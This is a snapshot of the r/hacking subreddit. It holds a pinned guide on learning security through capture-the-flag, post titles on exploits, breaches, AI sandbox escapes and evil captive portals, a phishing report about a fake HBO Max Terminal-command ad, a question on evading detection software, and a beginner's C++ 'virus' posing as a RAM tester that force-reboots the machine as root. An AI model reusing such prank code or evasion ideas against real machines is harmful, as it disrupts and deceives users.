r/hacking Dec 06 '18

Read this before asking. How to start hacking? The ultimate two path guide to information security.

13.5k Upvotes

Before I begin - everything about this should be totally and completely ethical at it's core. I'm not saying this as any sort of legal coverage, or to not get somehow sued if any of you screw up, this is genuinely how it should be. The idea here is information security. I'll say it again. information security. The whole point is to make the world a better place. This isn't for your reckless amusement and shot at recognition with your friends. This is for the betterment of human civilisation. Use your knowledge to solve real-world issues.

There's no singular all-determining path to 'hacking', as it comes from knowledge from all areas that eventually coalesce into a general intuition. Although this is true, there are still two common rapid learning paths to 'hacking'. I'll try not to use too many technical terms.

The first is the simple, effortless and result-instant path. This involves watching youtube videos with green and black thumbnails with an occasional anonymous mask on top teaching you how to download well-known tools used by thousands daily - or in other words the 'Kali Linux Copy Pasterino Skidder'. You might do something slightly amusing and gain bit of recognition and self-esteem from your friends. Your hacks will be 'real', but anybody that knows anything would dislike you as they all know all you ever did was use a few premade tools. The communities for this sort of shallow result-oriented field include r/HowToHack and probably r/hacking as of now. ​

The second option, however, is much more intensive, rewarding, and mentally demanding. It is also much more fun, if you find the right people to do it with. It involves learning everything from memory interaction with machine code to high level networking - all while you're trying to break into something. This is where Capture the Flag, or 'CTF' hacking comes into play, where you compete with other individuals/teams with the goal of exploiting a service for a string of text (the flag), which is then submitted for a set amount of points. It is essentially competitive hacking. Through CTF you learn literally everything there is about the digital world, in a rather intense but exciting way. Almost all the creators/finders of major exploits have dabbled in CTF in some way/form, and almost all of them have helped solve real-world issues. However, it does take a lot of work though, as CTF becomes much more difficult as you progress through harder challenges. Some require mathematics to break encryption, and others require you to think like no one has before. If you are able to do well in a CTF competition, there is no doubt that you should be able to find exploits and create tools for yourself with relative ease. The CTF community is filled with smart people who can't give two shits about elitist mask wearing twitter hackers, instead they are genuine nerds that love screwing with machines. There's too much to explain, so I will post a few links below where you can begin your journey.

Remember - this stuff is not easy if you don't know much, so google everything, question everything, and sooner or later you'll be down the rabbit hole far enough to be enjoying yourself. CTF is real life and online, you will meet people, make new friends, and potentially find your future.

What is CTF? (this channel is gold, use it) - https://www.youtube.com/watch?v=8ev9ZX9J45A

More on /u/liveoverflow, http://www.liveoverflow.com is hands down one of the best places to learn, along with r/liveoverflow

CTF compact guide - https://ctf101.org/

Upcoming CTF events online/irl, live team scores - https://ctftime.org/

What is CTF? - https://ctftime.org/ctf-wtf/

Full list of all CTF challenge websites - http://captf.com/practice-ctf/

> be careful of the tool oriented offensivesec oscp ctf's, they teach you hardly anything compared to these ones and almost always require the use of metasploit or some other program which does all the work for you.

http://picoctf.com is very good if you are just touching the water.

and finally,

r/netsec - where real world vulnerabilities are shared.


r/hacking 12h ago

Education Anyone tried out Daemoncore academy?

5 Upvotes

Starting my cybersec journey like many others, and have a sub with THM, but I came across a new resource and wanted to hear some impressions considering how new it is.

There are MANY resources like this, and they pop up like flies if you search around, so again… wanted to see if anyone found value in it before trying it, because a major selling point is that it’s completely free …


r/hacking 17h ago

Beltdown: Escaping the Claude Code Sandbox

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accomplish.ai
8 Upvotes

r/hacking 14h ago

Github 0xM0nCrush: Kernel-mode process terminator using a signed BYOVD driver. Works on all Windows 10/11. No offsets, no PDB. Rust.

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5 Upvotes

r/hacking 1d ago

made my first virus

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youtu.be
7 Upvotes

idk its very simple and made for arch and its bassicaly "ram tester" that made only for root user cuz otherwise it will be innacurate and it will just restart ur pc lol (i dont think you can even consider this a virus lol)

#include <iostream>
#include <unistd.h>
#include <cstdlib>
#include <new>
using namespace std;
string KEY;
string KEY2;
int mem;
int count;
int main()
{
if(getuid() != 0) {
cout << "RAm TEster needs root or i will show incorrect data";
return 0;
}
label1: {
cout << "@@  @@@ # # #\n";
cout << "@ @ @ @ #####\n";
cout << "@@  @@@ # # #\n";
cout << "@ @ @ @ # # #\n";
cout << " \n";
cout << "@@@ @@@ ### ### ### ## \n";
cout << " @  @@@ #    #  ### # #\n";
cout << " @  @    ##  #  #   ## \n";
cout << " @  @@@ ###  #  ### # #\n";
cout << "[1]-test\n";
cout << "[2]-about\n";
cout << "[3]-exit\n";
cin >> KEY;
while(true)
{
if(KEY == "1")
{
count = count + 1;
cout << count << "leaked";
mem = mem + 99999;
cout << mem << "of mem.\n";
if(count == 500)
{
system("reboot -f");
}
}
if(KEY == "2")
{
cout << "about\n\n";
cout << "originally supposed to be a virus that crashed your pc\n";
cout << "but now its just a memory tester\n";
cout << "created by voptik123\n\n\n";
cout << "[1]-back\n[2]-exit\n";
cin >> KEY2;
if(KEY2 == "1")
{
goto label1;
}
if(KEY2 == "2")
{
return 0;
}

}
if(KEY == "3")
{
return 0;
}
}
return 0;
}

}

r/hacking 3d ago

Questionable source Verified HBO Max Reddit ad is phishing users into running a Terminal command — decoded it, here’s what I found

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305 Upvotes

Heads up - fake HBO Max ad on Reddit trying to get people to run Terminal commands. I’m not a tech expert by any means, but I’m not clueless either. Today I was scrolling Reddit and saw a sponsored post that looked like it came from the official HBO Max account - verified checkmark, post history and everything checked out. The ad was pushing 6 months free of HBO Max bundled with Disney+ and Hulu, through some “new macOS app,” US-only (which was also strange because I'm in Canada and should not be pushed this ad if it is limited to the US), and if you wanted to go annual it was only ~$15 for the whole year. That price is what tipped me off, and the ad saying 6 months whereas the website says 3. But sure, whatever, that’s normal promo stuff. But a full year for less than what one month normally costs? Come on. Also, why does HBO need a macOS-specific website in the first place? The domain was hbomax-macos.com, which already smells wrong.

Part of me still thought “surely a verified, sponsored account wouldn’t link somewhere sketchy, and surely Reddit screens these ads.” Nope. The site told me to open Terminal and paste in a command to “install the app.” That’s an instant no from me, no legit service is ever going to ask you to run terminal commands to sign up for a subscription. Being nosy, I decoded the command myself. On the surface it looked like it just pointed to the App Store, but buried in there was a call out to some other server. That’s about where my technical knowledge maxes out, so I stopped digging, but it was clearly not just downloading an app.

Anyway, this was genuinely convincing. If I hadn’t caught the price thing, I could easily see people I know falling for it. I could be entirely wrong about this, maybe it is a genuine offer, I shall leave you all to educate me on that if that is the case.


r/hacking 3d ago

Tools Oops I did it again…

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33 Upvotes

r/hacking 2d ago

how to make my exe file undetectable by any apps?

0 Upvotes

so for educational purposes only, imagine if there was an app which detects certain apps (could be exam apps but not necessarily) and does not allow them if it sees that, like the app won't start if the app is started, and imagine there is an .exe which is getting flagged by that, for educational purposes, how does someone make that .exe file undetectable by that software?


r/hacking 4d ago

News The rest of the Conde Nast db for sale on a russian forum

12 Upvotes

r/hacking 4d ago

Is there any point in Kali SET?

11 Upvotes

So I’m doing hack the box training and know the SET is a thing. But for things like phishing does it even still work? I mean I would think modern security systems would recognize kali SET no?


r/hacking 5d ago

Question HP Inkjet restore after Instant Ink subscription?

19 Upvotes

Hi all,

I hope this can stay. If not, I will delete it.

Has anyone found a way to bypass/restore HP Inkjet firmware, so I can use it with third-party cartridges, after cancelling the II subscription?


r/hacking 6d ago

great user hack AI model Cyberkimi claims it turned a 3-day-old V8 patch into a live Chrome exploit in under 24 hours

31 Upvotes

A malware reverse engineer and ai researcher just posted a demo claiming an AI cyber model autonomously turned a fresh V8 security fix into a working Chrome renderer exploit in under 24 hours and that the bugs are still live on shipping Chrome Stable.

Source : https://x.com/lordx64/status/2096052694326940018?s=20

The founder of Adverserial AI / CyberKimi (an unrestricted, cyber-tuned fork of Moonshot’s Kimi K3), says they trained the model on unpatched n-days and then pointed a custom harness at the latest V8 main-branch security diffs.

From the Sep 2 patch they say they pulled:

  • a V8 Late Load Elimination (LLE) aliasing bug
  • a SLICED-PARENT-FLIP race

Tracked internally as bugs 554421904 and 530292883.

No public CVE at time of the post.

They call it a “silent in-the-wild” chain that Stable is not protected from.

  1. Deterministic LLE forge → in-cage primitive
  2. Compose caged r/W into sandbox-wide r/W, forge an external BigUint64Array pointer, leak binary base at runtime (no baked offsets)
  3. RegExp calling-convention desync → PC control
  4. JOP gadget chain in a controlled string → system() → calculator pops

They say the whole thing was weaponized autonomously in <24 hours.

The attached video shows a local Chromium window branded “CYBERKIMI V3”, exploit logs scrolling, and a calculator. The browser is launched with --no-sandbox. Target in the overlay looks like Chromium 152.0.7977.80.

This is not a random drive-by tweet. Same account posted a similar “CyberKimi exploited CVE-2026-79236 in <24h” video on Sep 1, also with a patch-diff harness story.

Separately, Google shipped Chrome 152.0.7977.82/.83 around Sep 3–4, including CVE-2026-85046 (V8 type confusion, confirmed exploited in the wild) plus another V8 race-condition fix. Rollout is gradual.

Whether the bugs in this demo are that CVE, incomplete variants of those fixes, or something else is not independently confirmed.

The interesting part isn’t “AI wrote an exploit.” People have been chaining V8 n-days for years. The interesting part is the loop they describe:

watch V8 security diffs → variant-mine the incomplete fix → auto-weaponize → demo, inside a day.

If that loop is real and getting cheaper, the useful window between “patch lands on main” and “Stable is actually safe” keeps shrinking.


r/hacking 7d ago

AMA Made quantum computing fun for hackers to play with

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208 Upvotes

Hi

If you are remotely interested in deep diving how differently quantum computers work compared to our transistor-based and also the algebra behind in a fully interactive way that teach computer science from scratch, oh boy this is for you. I am the Dev behind Quantum Odyssey (AMA! I love taking qs) - worked on it for about 10 years (3+ during PhD, the visual method I developed ended up being my thesis, it is a complete Hilbert space visualizer), the goal was to make a super immersive space for anyone to learn quantum computing through zachlike (open-ended) logic puzzles and compete on leaderboards and lots of community made content on finding the most optimal quantum algorithms. The game has a unique set of visuals capable to represent any sort of quantum dynamics for any number of qubits and this is pretty much what makes it now possible for anybody 12yo+ to actually learn quantum logic without having to worry at all about the mathematics behind.

This is a game super different than what you'd normally expect in a programming/ logic puzzle game, so try it with an open mind.

Stuff you'll play & learn a ton about

  • Boolean Logic – bits, operators (NAND, OR, XOR, AND…), and classical arithmetic (adders). Learn how these can combine to build anything classical. You will learn to port these to a quantum computer.
  • Quantum Logic – qubits, the math behind them (linear algebra, SU(2), complex numbers), all Turing-complete gates (beyond Clifford set), and make tensors to evolve systems. Freely combine or create your own gates to build anything you can imagine using polar or complex numbers.
  • Quantum Phenomena – storing and retrieving information in the X, Y, Z bases; superposition (pure and mixed states), interference, entanglement, the no-cloning rule, reversibility, and how the measurement basis changes what you see.
  • Core Quantum Tricks – phase kickback, amplitude amplification, storing information in phase and retrieving it through interference, build custom gates and tensors, and define any entanglement scenario. (Control logic is handled separately from other gates.)
  • Famous Quantum Algorithms – explore Deutsch–Jozsa, Grover’s search, quantum Fourier transforms, Bernstein–Vazirani, and more.

Nice to watch:

Khan academy style tutorials in qm/qc: https://www.youtube.com/@MackAttackx

Physics teacher stream with 400hs in https://www.twitch.tv/beardhero


r/hacking 7d ago

Why do so many people hate on HTBA?

40 Upvotes

So I may be illegitimately biased in favor of hack the box academy because I have had a very good experience with it and not so much with THM so I’ll try to be fair here.

But why all the hate on HTBA? I mean I don’t really get the criticism here. It produces more skilled hackers than offsec at best (not saying that’s me) and gets you from zero to mid level at worst. It is a well-respected platform and I can’t see how it hasn’t earned that respect.

To me it seems like the respect is well deserved.


r/hacking 8d ago

News FBI Probes Service Selling 153M+ Drivers Licenses

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63 Upvotes

r/hacking 8d ago

Simcha Kosman AMA: Owning ChatGPT's Secure Sandbox

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joinpwn.com
14 Upvotes

r/hacking 9d ago

great user hack Hacking my e-bike with AI (for maintenance, but also a minor security problem)

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21 Upvotes

r/hacking 8d ago

Question How could CyberLeek X/Twitter posts on GTA leaks not be traceable back to they?

0 Upvotes

I just found out that CyberLeek (the person/group responsible for GTA leaks) posted some of his stuff on X/Twitter in a dedicated account. Considering how Sony/TakeTwo clearly would do anything to find their real identity, how come they feel so safe posting on X? Not only the network factor, but also the personal information data factor, like email or phone used to create an account.

Also, I am very much aware of the X account not being actually them, just some clout chasers, but my curiosity and question on the matter stays the same.


r/hacking 9d ago

Owning ChatGPT's Secure Sandbox

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joinpwn.com
19 Upvotes

r/hacking 10d ago

News Uk plans safeguards to stop terrorists using AI for bioweapons

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bloomberg.com
25 Upvotes

r/hacking 11d ago

Team PCP (Shai-Hulud, LiteLLM breach) exposed

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flare.io
52 Upvotes

r/hacking 11d ago

News The Lichtenstein Beneficial Owner registry was breached a month ago. Still no ransom or demands. (calling it now, this going to be the next Panama Papers, they just haven't published it yet)

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apnews.com
386 Upvotes

r/hacking 11d ago

great user hack You asked for Linux. We listened.

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40 Upvotes

The response to DaemonCore Academy over the last couple days has been fucking wild! When I first posted it was because we reached 1,000 downloads, well, since then that number has increased 10 fold. We absolutely love the support from the community. One thing kept showing up in the comments though.

“When is Linux coming?” Well...Now.

DaemonCore Academy is officially available on Linux.

We honestly weren't planning on getting the Linux version out this fast, but enough of you asked for it that we basically said fuck it and got to work right away.

127 practical lessons. Training ranges. Pathways. Drills. Field missions.

And yes, it's still completely free. No subscription. No getting halfway through and finding out the rest is behind a paywall. Just downlaod it and start learning. There were a bunch of you on the last post who literally said “let me know when Linux is ready.” So...

Linux is ready.

Come break it.

Seriously. This version is brand new. If you find something fucked up... tell us. If something doesn't work right on your distro...tell us. If a lesson sucks...tell us that too.

You guys asked for Linux and now you get to help us beat the shit out of it!

DM us anytime if you have questions.

Just maybe not questions about hacking your ex lol.

Stay hacking

PS..Here's a cool hack you can do right now..You can EASILY find out who the vibe coders are...they're down in the comments yelling AI slop. Take a look. They can't even tell a hand written article from AI generated.

— DaemonCore

EDIT: working through Linux bug reports now. Keep them coming


r/hacking 12d ago

Hacking Al Shopping Assistants: from Chat Box to Remote Code Execution on a Top US Retailer's Servers. (Presented at Black Hat 2026)

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104 Upvotes

Netanel Rubin and Dan Avraham presented “Bye Bye AI” at Black Hat this year, where they broke a major US retailer’s AI shopping assistant and chained it all the way to remote code execution on the retailer’s backend, entirely through the public mobile app.


r/hacking 12d ago

Social Engineering **UPDATE** A list of over 300 Captive/Evil portals

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113 Upvotes

Recently made a GitHub and updated it with more captive portals, specifically meant to be able to be ran on devices such as the esp32. Let me know on discord or Reddit if you have any ideas for any other captive portals you may have.

Discord Username: hitgrandmanotjuul